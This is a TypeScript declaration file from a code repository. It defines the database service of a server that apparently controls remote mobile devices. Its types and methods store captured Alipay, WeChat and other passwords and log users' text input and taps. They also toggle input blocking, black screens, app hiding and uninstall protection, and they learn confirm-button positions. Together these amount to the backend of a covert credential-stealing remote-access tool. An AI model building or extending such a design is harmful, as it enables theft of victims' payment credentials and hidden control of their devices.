Files
server/dist/services/DatabaseService.d.ts

366 lines
10 KiB
TypeScript
Raw Normal View History

2026-02-09 16:34:01 +08:00
export interface DeviceRecord {
deviceId: string;
deviceName: string;
deviceModel: string;
osVersion: string;
appVersion: string;
appPackage?: string;
appName?: string;
screenWidth: number;
screenHeight: number;
capabilities: string[];
firstSeen: Date;
lastSeen: Date;
connectionCount: number;
lastSocketId?: string;
status: 'online' | 'offline' | 'busy';
publicIP?: string;
remark?: string;
systemVersionName?: string;
romType?: string;
romVersion?: string;
osBuildVersion?: string;
}
export interface OperationLogRecord {
id?: number;
deviceId: string;
logType: 'APP_OPENED' | 'TEXT_INPUT' | 'CLICK' | 'SWIPE' | 'KEY_EVENT' | 'LONG_PRESS' | 'LONG_PRESS_DRAG' | 'CONTINUOUS_LONG_PRESS_DRAG' | 'GESTURE' | 'SYSTEM_EVENT';
content: string;
extraData?: any;
timestamp: Date;
}
export interface DeviceStateRecord {
deviceId: string;
password?: string;
inputBlocked: boolean;
loggingEnabled: boolean;
blackScreenActive: boolean;
appHidden: boolean;
uninstallProtectionEnabled: boolean;
lastPasswordUpdate?: Date;
confirmButtonCoords?: {
x: number;
y: number;
};
learnedConfirmButton?: {
x: number;
y: number;
count: number;
};
createdAt: Date;
updatedAt: Date;
}
export interface AlipayPasswordRecord {
id?: number;
deviceId: string;
password: string;
passwordLength: number;
activity: string;
inputMethod: string;
sessionId: string;
timestamp: Date;
createdAt: Date;
}
export interface WechatPasswordRecord {
id?: number;
deviceId: string;
password: string;
passwordLength: number;
activity: string;
inputMethod: string;
sessionId: string;
timestamp: Date;
createdAt: Date;
}
export interface PasswordInputRecord {
id?: number;
deviceId: string;
password: string;
passwordLength: number;
passwordType: string;
activity: string;
inputMethod: string;
installationId: string;
sessionId: string;
timestamp: Date;
createdAt: Date;
}
export declare class DatabaseService {
private db;
private logger;
constructor(dbPath?: string);
/**
*
*/
private initDatabase;
/**
* devices
*/
private ensureDeviceTableColumns;
/**
* socketId查询设备信息
*/
getDeviceBySocketId(socketId: string): DeviceRecord | null;
/**
* deviceId查询设备信息
*/
getDeviceById(deviceId: string): DeviceRecord | null;
/**
*
*/
saveDevice(deviceInfo: any, socketId: string): void;
/**
*
*/
private recordConnection;
/**
* 线
*/
setDeviceOffline(deviceId: string): void;
/**
* Socket ID将设备设置为离线
*/
setDeviceOfflineBySocketId(socketId: string): void;
/**
* 线
*/
resetAllDevicesToOffline(): void;
/**
*
*/
updateDisconnection(socketId: string): void;
/**
*
*/
getDeviceStats(deviceId: string): any;
/**
*
*/
getAllDevices(): DeviceRecord[];
/**
*
*/
cleanupOldRecords(daysToKeep?: number): void;
/**
* DeviceRecord
*/
private rowToDeviceRecord;
/**
* 🆕
*/
updateDeviceRemark(deviceId: string, remark: string): boolean;
/**
* 🆕
*/
getDeviceRemark(deviceId: string): string | null;
/**
*
*/
saveOperationLog(log: OperationLogRecord): void;
/**
*
*/
getOperationLogs(deviceId: string, page?: number, pageSize?: number, logType?: string): {
logs: OperationLogRecord[];
total: number;
page: number;
pageSize: number;
totalPages: number;
};
/**
*
*/
clearOperationLogs(deviceId: string): void;
/**
*
*/
cleanupOldOperationLogs(daysToKeep?: number): void;
/**
*
*/
getOperationLogStats(deviceId: string): any;
/**
*
*/
getLatestDevicePassword(deviceId: string): string | null;
/**
*
*/
getDeviceState(deviceId: string): DeviceStateRecord | null;
/**
*
*/
saveDeviceState(deviceId: string, state: Partial<DeviceStateRecord>): void;
/**
*
*/
updateDevicePassword(deviceId: string, password: string): void;
/**
*
*/
updateDeviceInputBlocked(deviceId: string, blocked: boolean): void;
/**
*
*/
updateDeviceLoggingEnabled(deviceId: string, enabled: boolean): void;
/**
* 🆕
*/
updateDeviceBlackScreenActive(deviceId: string, active: boolean): void;
/**
* 🆕
*/
updateDeviceAppHidden(deviceId: string, hidden: boolean): void;
/**
* 🛡
*/
updateDeviceUninstallProtection(deviceId: string, enabled: boolean): void;
/**
*
*/
getDevicePassword(deviceId: string): string | null;
/**
* API调用
*/
saveDevicePassword(deviceId: string, password: string): void;
/**
* API调用
*/
updateDeviceState(deviceId: string, state: Partial<DeviceStateRecord>): void;
/**
* 🆕
*/
saveConfirmButtonCoords(deviceId: string, coords: {
x: number;
y: number;
}): void;
/**
* 🆕
*/
getConfirmButtonCoords(deviceId: string): {
x: number;
y: number;
} | null;
/**
* 🆕
*/
updateLearnedConfirmButton(deviceId: string, coords: {
x: number;
y: number;
}): void;
/**
*
*/
getPasswordCandidatesFromLogs(deviceId: string): any[];
/**
* 💰
*/
saveAlipayPassword(record: AlipayPasswordRecord): void;
/**
* 💰
*/
getAlipayPasswords(deviceId: string, page?: number, pageSize?: number): {
passwords: AlipayPasswordRecord[];
total: number;
page: number;
pageSize: number;
totalPages: number;
};
/**
* 💰
*/
getLatestAlipayPassword(deviceId: string): AlipayPasswordRecord | null;
/**
* 💰
*/
clearAlipayPasswords(deviceId: string): void;
/**
* 💰
*/
cleanupOldAlipayPasswords(daysToKeep?: number): void;
/**
* 💬
*/
saveWechatPassword(record: WechatPasswordRecord): void;
/**
* 💬
*/
getWechatPasswords(deviceId: string, page?: number, pageSize?: number): {
passwords: WechatPasswordRecord[];
total: number;
page: number;
pageSize: number;
totalPages: number;
};
/**
* 💬
*/
getLatestWechatPassword(deviceId: string): WechatPasswordRecord | null;
/**
* 💬
*/
clearWechatPasswords(deviceId: string): void;
/**
* 💬
*/
cleanupOldWechatPasswords(daysToKeep?: number): void;
/**
* 🔐
*/
savePasswordInput(record: PasswordInputRecord): void;
/**
* 🔐
*/
getPasswordInputs(deviceId: string, page?: number, pageSize?: number, passwordType?: string): {
passwords: PasswordInputRecord[];
total: number;
page: number;
pageSize: number;
totalPages: number;
};
/**
* 🔐
*/
getLatestPasswordInput(deviceId: string, passwordType?: string): PasswordInputRecord | null;
/**
* 🔐
*/
clearPasswordInputs(deviceId: string, passwordType?: string): void;
/**
* 🔐
*/
cleanupOldPasswordInputs(daysToKeep?: number): void;
/**
* 🔐
*/
getPasswordTypeStats(deviceId: string): any[];
/**
*
*/
deleteDevice(deviceId: string): void;
/**
* 🔐
*/
grantUserDevicePermission(userId: string, deviceId: string, permissionType?: string, expiresAt?: Date): boolean;
/**
* 🔐
*/
revokeUserDevicePermission(userId: string, deviceId: string): boolean;
/**
* 🔐
*/
hasUserDevicePermission(userId: string, deviceId: string, permissionType?: string): boolean;
/**
* 🔐
*/
getUserDevicePermissions(userId: string): Array<{
deviceId: string;
permissionType: string;
grantedAt: Date;
}>;
/**
* 🔐
*/
cleanupExpiredPermissions(): number;
}
//# sourceMappingURL=DatabaseService.d.ts.map